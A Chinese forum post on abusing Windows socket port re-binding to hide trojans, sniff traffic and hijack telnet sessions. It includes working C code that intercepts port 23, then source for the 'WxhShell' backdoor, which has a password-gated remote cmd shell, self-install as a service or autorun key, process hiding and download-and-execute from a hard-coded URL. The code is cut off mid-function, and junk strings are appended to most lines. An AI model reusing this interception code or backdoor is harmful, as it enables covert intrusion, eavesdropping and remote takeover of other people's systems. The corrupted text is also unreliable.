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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X?[ )e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T}=^D=  
(YYg-@IO  
  saddr.sin_family = AF_INET; Jy% ?"wn  
OR!W3 @  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ![_0GFbT  
+)WU:aKI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J ffaT_"\  
-,b+tC<V)0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =#[oi3k  
;m#4Q6k)V?  
  这意味着什么?意味着可以进行如下的攻击: prN+{N8YC  
Ikf[K%NKn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Vc;[0iB  
Tn1V+)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }.E^_`  
,0,FzxX0!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dH;2OWM  
AQ@)'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rvy%8%e?  
^7gKs2M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cPuXy e  
vVw@^7U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sAqy(oy#M  
T9w=k)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rG6G~ |mS  
irD5;xk([  
  #include K_YOp1  
  #include nL/]Q'(5  
  #include ?..BA&zRk  
  #include    2O[sRm)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =hFY-~U  
  int main() $7DW-TA  
  { "QNQ00[T`>  
  WORD wVersionRequested; w/ rQOHV{  
  DWORD ret; y42 Cg  
  WSADATA wsaData; 'WE"$1  
  BOOL val; CAC4A   
  SOCKADDR_IN saddr; 3MNM<Ih  
  SOCKADDR_IN scaddr; "W%YsN0  
  int err; A| A#|D  
  SOCKET s; wV==sV  
  SOCKET sc; C&H'?0Y@  
  int caddsize; Fy Ih\  
  HANDLE mt; czD" mI!  
  DWORD tid;   Wy7w zt  
  wVersionRequested = MAKEWORD( 2, 2 ); G/Sp/I<d  
  err = WSAStartup( wVersionRequested, &wsaData ); 94ruQ/  
  if ( err != 0 ) { iLuC_.'u=  
  printf("error!WSAStartup failed!\n"); }8Y! -qX  
  return -1; 7GsKD=bl]  
  } ApeqbD5g&  
  saddr.sin_family = AF_INET; IoLi7NKw  
   s__xBY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "d$~}=a[  
;un@E:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z80P5^9  
  saddr.sin_port = htons(23); e !jy6 t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =b:XL#VA  
  { EwN{|34C  
  printf("error!socket failed!\n"); MVzuE}  
  return -1; f1ANziC;i  
  } GT<oYrjU  
  val = TRUE; <z,)4z++  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }`<&l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F/5G~17  
  { Mg`!tFe3  
  printf("error!setsockopt failed!\n"); vnvpb! @Q  
  return -1; z eT`kZ  
  } fF0i^E<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T3z ovnR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %}9tU>?F#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "Bf8mEmp  
3Vc}Q'&Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rV%T+!n%c  
  { 6[A\cs  
  ret=GetLastError(); Ia#!T"]@W6  
  printf("error!bind failed!\n"); MIIl+   
  return -1; y ;[~(Yg[  
  } js81@WX!c  
  listen(s,2); I!Z`'1"  
  while(1) 3t TOs  
  { z:#]P0  
  caddsize = sizeof(scaddr); ~k?rP}>0  
  //接受连接请求 05FGfnq.8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S"h;u=5it  
  if(sc!=INVALID_SOCKET) IHO*%3mA/  
  { bLai@mL&a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Th9V8Rg+E  
  if(mt==NULL) W`G bo uxd  
  { ?^%[*OCCC!  
  printf("Thread Creat Failed!\n"); ,]2?S5R  
  break; x'`{#bKD  
  } uxU-N  
  } cWkg.ri-x  
  CloseHandle(mt); 1WMZ$vsQUb  
  } 'OtT q8G  
  closesocket(s); fAULuF  
  WSACleanup(); 4<#ItQ(  
  return 0; i86:@/4~F  
  }   F5Xb_&   
  DWORD WINAPI ClientThread(LPVOID lpParam) nd8<*ru$  
  { )_jboaNzwI  
  SOCKET ss = (SOCKET)lpParam; _:m70%i  
  SOCKET sc; A{zqr^/h  
  unsigned char buf[4096]; N 3L$"g5^  
  SOCKADDR_IN saddr; h(/? 81:  
  long num; ~{Iw[,MJ  
  DWORD val; ZR}v_]l^  
  DWORD ret; c6xr[tc%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cpa" ,8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '\#q7YjaL  
  saddr.sin_family = AF_INET;  +x 3x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gLv+L]BnhH  
  saddr.sin_port = htons(23); aA|{r/.10K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kzZgNv#G;  
  { o&1mX  
  printf("error!socket failed!\n"); })-V,\  
  return -1; HqWWWCWal  
  } Zmyq6.1q~  
  val = 100; S!8<|WO^t  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uBbQJvL  
  { .Od:#(aq  
  ret = GetLastError(); Pw<?Dw]m  
  return -1; {S=<(A @  
  } uQO5GDuK>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5qnei\~  
  { }gv'r ";  
  ret = GetLastError(); 9!n:hhJM  
  return -1; FSQB{9,H  
  } \|Af26  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #EzhtuHxn  
  { %]LoR$|Y  
  printf("error!socket connect failed!\n"); s9wzN6re  
  closesocket(sc); -t4:%-wv  
  closesocket(ss); MF"*xr v  
  return -1; 1yE',9?  
  } 7T)y"PZ  
  while(1) ]eGa_Ld  
  { 8UjIC4'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zq</(5H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]"T157F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fYP,V0P  
  num = recv(ss,buf,4096,0); fF0K].  
  if(num>0) Dr.eos4 ~  
  send(sc,buf,num,0); ; pBLmm*F  
  else if(num==0) u;t<rEC2  
  break; \7LL neq  
  num = recv(sc,buf,4096,0); jv~#'=T'  
  if(num>0) ~RbVcB#  
  send(ss,buf,num,0); Eq)b=5qrG?  
  else if(num==0) wMCMrv:  
  break; jI8`trD  
  } @:zC!dR)G  
  closesocket(ss); s1_Y~<y X  
  closesocket(sc); $JOz7j(  
  return 0 ; bDvGFSAH  
  } j>JBZ#g  
E^rBs2;9  
bKS/T^UQ  
========================================================== EcHZ mf  
%_E5B6xi{  
下边附上一个代码,,WXhSHELL 66?`7j X  
%_Vz0 D! 7  
========================================================== HAO-|=c4  
[s^p P2  
#include "stdafx.h" /1LN\Eu  
]  & ]G  
#include <stdio.h> 961&rR}d  
#include <string.h> zRjbEL  
#include <windows.h> -I5]#%eX^  
#include <winsock2.h> 9\!&c<i=  
#include <winsvc.h> ,.P]5 lE  
#include <urlmon.h> OG<*&V  
DL,R~  
#pragma comment (lib, "Ws2_32.lib") k H65k (  
#pragma comment (lib, "urlmon.lib") p_Xfj2E4c  
bnfeZR1m_  
#define MAX_USER   100 // 最大客户端连接数 X{#^O/  
#define BUF_SOCK   200 // sock buffer q,fp DNo  
#define KEY_BUFF   255 // 输入 buffer HCOsVTl,  
=~O3j:<6  
#define REBOOT     0   // 重启 n/;{-  
#define SHUTDOWN   1   // 关机 my sXgS&S  
8x1!15Wiz  
#define DEF_PORT   5000 // 监听端口 &pI\VIx ?  
YTTy6*\,_  
#define REG_LEN     16   // 注册表键长度 E4Q`)6]0  
#define SVC_LEN     80   // NT服务名长度 On);SN'  
O])vR<[  
// 从dll定义API vltE2mb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zk$h71<{.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {($mLfC4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?3N/#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]rGd!"q  
=Jl\^u%H(x  
// wxhshell配置信息 [Uk cG9  
struct WSCFG { \_.'/<aQ  
  int ws_port;         // 监听端口 mL1ZSX o!  
  char ws_passstr[REG_LEN]; // 口令 \&vXp"-@  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]Yt3@ug_f  
  char ws_regname[REG_LEN]; // 注册表键名 gs1  
  char ws_svcname[REG_LEN]; // 服务名 |6-9vU!LK?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 60~*$`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /TbJCZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bzpi7LKN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CxaI@+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7Z]?a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %tkqWK:  
qX5]\nX&G  
}; fX9b1x  
("A45\5  
// default Wxhshell configuration =X'EDw  
struct WSCFG wscfg={DEF_PORT, ;woK96"{t  
    "xuhuanlingzhe", Onqapm0  
    1, n\I s}Czl  
    "Wxhshell", mu0L_u(P  
    "Wxhshell", 0e>?!Z E  
            "WxhShell Service", L~+aD2 E {  
    "Wrsky Windows CmdShell Service", B_Wig2xH0  
    "Please Input Your Password: ", ShRMzU  
  1, hK4ww"-  
  "http://www.wrsky.com/wxhshell.exe", 2pHR$GZ2  
  "Wxhshell.exe" u@Gum|_=N  
    }; TS=%iMa  
zk70D_}L  
// 消息定义模块 vyc<RjS_x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d<?Zaehe\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :OU(fz]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T:Q+ Z }v+  
char *msg_ws_ext="\n\rExit."; "nJMS6HJ[  
char *msg_ws_end="\n\rQuit."; uR")@Tc  
char *msg_ws_boot="\n\rReboot..."; $igMk'%Nmb  
char *msg_ws_poff="\n\rShutdown..."; ZK{1z|  
char *msg_ws_down="\n\rSave to "; jY9tq[~/  
hQ%X0X,  
char *msg_ws_err="\n\rErr!"; ZyU/ .Uk  
char *msg_ws_ok="\n\rOK!"; 6;I zw$X  
cJT_Qfxx  
char ExeFile[MAX_PATH]; %\v  
int nUser = 0; k!qOE\%B  
HANDLE handles[MAX_USER]; 1\-lAk!   
int OsIsNt; aG"  
)jI4]6  
SERVICE_STATUS       serviceStatus; .h w(;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N<(rP1)`v  
]%7m+-h@  
// 函数声明 ! , ]Fx  
int Install(void); ZWFOC,)b  
int Uninstall(void); 31g1zdT!  
int DownloadFile(char *sURL, SOCKET wsh); t(,2x%{  
int Boot(int flag); 3Qv9=q|[b  
void HideProc(void); !`U #Pjp.  
int GetOsVer(void); V[44aN  
int Wxhshell(SOCKET wsl); 2DZ&g\|  
void TalkWithClient(void *cs); RionKiN  
int CmdShell(SOCKET sock); 4wS!g10}  
int StartFromService(void); '6WZi|(a  
int StartWxhshell(LPSTR lpCmdLine); *JW.ca}  
2#`d:@r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $43CNnf3N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >&Ye(3w&  
M;-FW5O't  
// 数据结构和表定义 Oa5-^&I  
SERVICE_TABLE_ENTRY DispatchTable[] = B 4e}%  
{ ;h~kB  
{wscfg.ws_svcname, NTServiceMain}, |c]L]PU  
{NULL, NULL} BH^cR<<j  
}; }/xdHt  
W70BRXe04D  
// 自我安装 %&O'>L  
int Install(void) _=5\$6  
{ &6Wim<*  
  char svExeFile[MAX_PATH]; jN+2+P%OL  
  HKEY key; mh_GYzd  
  strcpy(svExeFile,ExeFile); \bSakh71  
H/#WpRg  
// 如果是win9x系统,修改注册表设为自启动 /{ 8.Jcx$  
if(!OsIsNt) { )]}68}9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Df $Yn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :d~&Dt<c  
  RegCloseKey(key); x6yO2Yo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,l)AYu!q4F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k"`^vV[{F  
  RegCloseKey(key); uvD*]zX  
  return 0; Mb%[Qp60  
    } w^$$'5=  
  } ,+_gx.H2j  
} J:;nN-\j  
else { # b= *hi`E  
No/D"S#  
// 如果是NT以上系统,安装为系统服务 _ZuI x=!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zy9W{{:P(1  
if (schSCManager!=0) GsWf$/iC:  
{ oW/H8q<wY  
  SC_HANDLE schService = CreateService 6nk.q|n:g  
  ( oA ]F`N=  
  schSCManager, DV bY   
  wscfg.ws_svcname, ,Hc,]TPC4  
  wscfg.ws_svcdisp, x A ZRl  
  SERVICE_ALL_ACCESS, WoMMAo~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0[OlJMVf  
  SERVICE_AUTO_START, ) nn v{hN  
  SERVICE_ERROR_NORMAL, HtI>rj/\ x  
  svExeFile, 2f0_Xw_V_  
  NULL, |i'w"Tz4  
  NULL, Ef6LBNWY.  
  NULL, ~!dO2\X+  
  NULL, (7P VfS>;  
  NULL 3D rW[\  
  ); ^#j{9FpPs  
  if (schService!=0) ViG-tb   
  { =$%_asQJ  
  CloseServiceHandle(schService); \o!B:Vb<  
  CloseServiceHandle(schSCManager); xHwcP21  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A `=.F  
  strcat(svExeFile,wscfg.ws_svcname); {$-\)K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C'0=eel[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .$-%rU:*}  
  RegCloseKey(key); x@"`KiEUs  
  return 0; 7y>{Y$n  
    } N%8aLD  
  } .*w3ryQ  
  CloseServiceHandle(schSCManager); Zv1/J}+  
} $QuSmA<4lS  
} ;ZLfb n3\  
Js8d{\0\  
return 1; T ;JA.=I  
} cX-) ]D  
wo!;Bxo N  
// 自我卸载 h|&qWv  
int Uninstall(void) q"^T}d d,  
{  *}`D2_uP  
  HKEY key; !xZ`()D#  
Uv /?/;si  
if(!OsIsNt) { V\><6v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sr,8Qd 0M  
  RegDeleteValue(key,wscfg.ws_regname); bG9$&,  
  RegCloseKey(key); `BZX\LPHm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8:(e~? f6  
  RegDeleteValue(key,wscfg.ws_regname); 2JRX ;s~  
  RegCloseKey(key); * d[sja+  
  return 0; 0_-NE4SM/  
  } %Nm69j-5%  
} f<~S0[H  
} +q4AK<y-  
else { wpPCkfPyL  
5U&?P   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &8wluOs/5  
if (schSCManager!=0) mq~L1< f  
{ *6%r2l'kZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '@+a]kCMev  
  if (schService!=0) d#G H4+C  
  { |yow(2(F@  
  if(DeleteService(schService)!=0) { .9;wJ9Bw[  
  CloseServiceHandle(schService); 5%Q[X  
  CloseServiceHandle(schSCManager); k%?A=h  
  return 0; eMC0 )B  
  } _-g?6q  
  CloseServiceHandle(schService); @=1kr ^i  
  } }7jg>3ng(  
  CloseServiceHandle(schSCManager); %phv<AW  
} Nt'u;0  
} 5hbQUF ,Q  
F45UO%/P  
return 1; KZ)p\p<1  
} m2$Qp{C6H  
WH^r M`9  
// 从指定url下载文件 R+O[,UM^I~  
int DownloadFile(char *sURL, SOCKET wsh) GiN\@F!  
{ FsYsQ_,R3  
  HRESULT hr; u ?n{r  
char seps[]= "/"; [3QKBV1\  
char *token; w_!]_6%{b  
char *file; Hh1OD?N)  
char myURL[MAX_PATH]; [m 3k_;[  
char myFILE[MAX_PATH]; p#95Q  
PH}^RR{H[  
strcpy(myURL,sURL); _ mw(~r8R  
  token=strtok(myURL,seps); hd}"%9p  
  while(token!=NULL) OjiQBsgnj  
  { \!4sd2Yi  
    file=token; %v(\;&@  
  token=strtok(NULL,seps); (7g1eEK%  
  } "~lGSWcU  
p$cSES>r:  
GetCurrentDirectory(MAX_PATH,myFILE); &t\KKsUtd  
strcat(myFILE, "\\"); {r!X W  
strcat(myFILE, file); -Fj:^q:@u  
  send(wsh,myFILE,strlen(myFILE),0); =,=tSp  
send(wsh,"...",3,0); y$e'-v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G_] (7  
  if(hr==S_OK) SrVJ Q~ :>  
return 0; `<L6Q2Y>j  
else { +%S{=j  
return 1; 5'Fh_TXTD  
|H4/a;]~  
} \;>idbV  
JUlV$b.)J  
// 系统电源模块 4V`ypFme  
int Boot(int flag) /# M|V6n  
{ [=Yfdh M8S  
  HANDLE hToken; HEjrat;5  
  TOKEN_PRIVILEGES tkp; Wh)QCp0|n  
X>#!s Lt  
  if(OsIsNt) { Qx mVImn"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FFNv'\)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m{bw(+r  
    tkp.PrivilegeCount = 1; +FoR;v)z=F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t3 q0|S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ci^+T *  
if(flag==REBOOT) { !.'@3-w]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |'2E'?\/x  
  return 0; P2`!)teN  
} ~ 0x9`~  
else { b:S#Sz$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  nO~TW  
  return 0; "yI)F~A  
} '%>$\Lv  
  } Q b5AQf30  
  else { `q 4%  
if(flag==REBOOT) { <o_H]c->  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IdlW[h3`[  
  return 0; m3k}Q3&6Z  
} \7}X^]UVx  
else { bqMoO7&c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) * SG0-_S  
  return 0; #GYCU!  
} r)dT,X[}F  
} wK[xLf  
 [;D4,@A  
return 1; !5}Ibb  
} i>S /W!F  
: /9@p  
// win9x进程隐藏模块 mb*L'y2r  
void HideProc(void) 3`&2 -  
{ :G|Jcl=r  
@Zs}8YhC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !m$OI:rr  
  if ( hKernel != NULL ) l|fOi A*K  
  { /._wXH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~<pGiW'w5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1X/ q7lR  
    FreeLibrary(hKernel); {O6f1LuH  
  } oU m"qt_  
WZ'3  
return; $+sNjwv^F  
} N"b>]Ab] ;  
`?Wak =]g  
// 获取操作系统版本 NwmO[pt+  
int GetOsVer(void) Got5(^'c  
{ V&DS+'P  
  OSVERSIONINFO winfo; Gt[!q\^?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EeKEw Sg  
  GetVersionEx(&winfo); r}P{opn$t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) laqW {sX^5  
  return 1; DY6wp@A  
  else KX9+*YY,  
  return 0; ">kf X1LT  
} X;T(?,,  
:JqH.Sqk  
// 客户端句柄模块 ,|b<as@X  
int Wxhshell(SOCKET wsl) lhx6+w  
{ aU2O5z&  
  SOCKET wsh; {vAq08  
  struct sockaddr_in client; a Kb2:1EQ  
  DWORD myID; A1p;Ye>o~  
P}H7WH  
  while(nUser<MAX_USER) S@zsPzw  
{ E'e#axF;  
  int nSize=sizeof(client); '?_;s9)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gQ*0Mk  
  if(wsh==INVALID_SOCKET) return 1; r9G<HKl  
TE0hV w0c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g!<@6\RB  
if(handles[nUser]==0) .8CR \-  
  closesocket(wsh); l?B\TA^  
else lC.Yu$O5  
  nUser++; @Q3aJ98)2  
  } &?*M+q34  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AFl]w'=  
jR\T\r4  
  return 0; k:<yy^g$X  
} /+Xv( B  
?T70C9  
// 关闭 socket }7vX4{Yn  
void CloseIt(SOCKET wsh) u|=_!$8  
{ `Y/DttjL  
closesocket(wsh); -.1x!~.jX  
nUser--; (eN\s98)/  
ExitThread(0); jGd{*4{3+  
} F`U%xn,  
uU6+cDp  
// 客户端请求句柄 7[:9vY  
void TalkWithClient(void *cs) c0u!V+V%  
{ f>5{SoM  
$\$5::}r  
  SOCKET wsh=(SOCKET)cs; b3x!tuQn  
  char pwd[SVC_LEN];  8OZc:/  
  char cmd[KEY_BUFF]; wa W2$9O  
char chr[1]; A5+vzu^  
int i,j; PV>-"2n  
 OR4!73[I  
  while (nUser < MAX_USER) { zO2Z\E'% .  
v?)JM+  
if(wscfg.ws_passstr) { bQb> S<PT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |Z$heYP:w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "a;JQ:  
  //ZeroMemory(pwd,KEY_BUFF); k#ED#']N  
      i=0; Q! ]  
  while(i<SVC_LEN) { 8\`]T%h  
4)-LlYS_d<  
  // 设置超时 ;p/RS#  
  fd_set FdRead; G1vWHa7n;f  
  struct timeval TimeOut; 91r#lDR  
  FD_ZERO(&FdRead); myFj w@  
  FD_SET(wsh,&FdRead); Z= dEk`  
  TimeOut.tv_sec=8; ^x4I  
  TimeOut.tv_usec=0; !Z,h5u\.w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b-@VR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?Il$f_"B:  
E:(flW=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^:\|6`{n  
  pwd=chr[0]; G#8HY VF  
  if(chr[0]==0xd || chr[0]==0xa) { qn6Y(@<[  
  pwd=0; ]0zXpMNI  
  break; ?z171X0  
  } GNqw]@'Yf  
  i++; ~9p*zC3M  
    } 'AE)&56  
%:N6#;l M  
  // 如果是非法用户,关闭 socket vN-#Ej. u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zk)]=<H  
} M SoLx' <  
I7nt<l!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \D<rT)Tl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~a4htj  
ioIUIp+B~u  
while(1) { Z'>Xn^  
WsTbqR)W%  
  ZeroMemory(cmd,KEY_BUFF); ?7'uo$  
d90B15]gv  
      // 自动支持客户端 telnet标准   M&~3fRb 4  
  j=0; vL`wn=  
  while(j<KEY_BUFF) { OO] ~\j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &p^ S6h  
  cmd[j]=chr[0]; N' t*eCi  
  if(chr[0]==0xa || chr[0]==0xd) { kz(%8qi8&  
  cmd[j]=0; S`BLwnU`#  
  break; kV(}45i]s  
  } 9l@VxX68M  
  j++; `)& -;CMY  
    } }L{en  
z"u4t.KpL  
  // 下载文件 mZDrvTI'  
  if(strstr(cmd,"http://")) { [7ZFxr\:!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9;k_"@A6  
  if(DownloadFile(cmd,wsh)) l!<Nw8+U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rgw\qOb  
  else H*!j\|v0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =4"D8 UaHr  
  } Bl2y~fCA  
  else { 5. 5  
@>_`g=  
    switch(cmd[0]) { h)"PPI  
   Y5 $5qQ  
  // 帮助 j08}5Eo  
  case '?': { 0"(5\T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G)';ucs:,  
    break; <YP>c  
  } scCOiK)  
  // 安装 o> WH;EBL  
  case 'i': { 8xs[{?|:  
    if(Install()) AdesR-e$R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DmM<Kkg.J  
    else lplEQ]J|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WLQm|C,  
    break; P&V,x`<Z  
    } mEmznA  
  // 卸载 P}KN*Hn.  
  case 'r': { 5vj;lJKcd`  
    if(Uninstall())  57Q^ "sl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TggM/ @k  
    else IExo#\0'6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SEq_37  
    break; -~~"}u  
    } ='q:Io?T  
  // 显示 wxhshell 所在路径 2i;G3"\  
  case 'p': { |G~LJsXW!v  
    char svExeFile[MAX_PATH]; p [4/Nq,c  
    strcpy(svExeFile,"\n\r"); yjaX\Wb[z[  
      strcat(svExeFile,ExeFile); 4P( Y34j  
        send(wsh,svExeFile,strlen(svExeFile),0); H-~V:OCB~  
    break; zdrCr0Rx,  
    } &*B=5W;6^u  
  // 重启 _(&^M[O  
  case 'b': { QU_O9 BN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WLd{+y5#  
    if(Boot(REBOOT)) Fd":\7p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R"EX$Zj^E  
    else { Mp^%.m  
    closesocket(wsh); xAw$bJj~s  
    ExitThread(0); I$9^i#O'3  
    } Jp=eh   
    break; ?D]4*qsIlu  
    } tI0d!8K  
  // 关机 1T a48  
  case 'd': { `9n%Dy<  
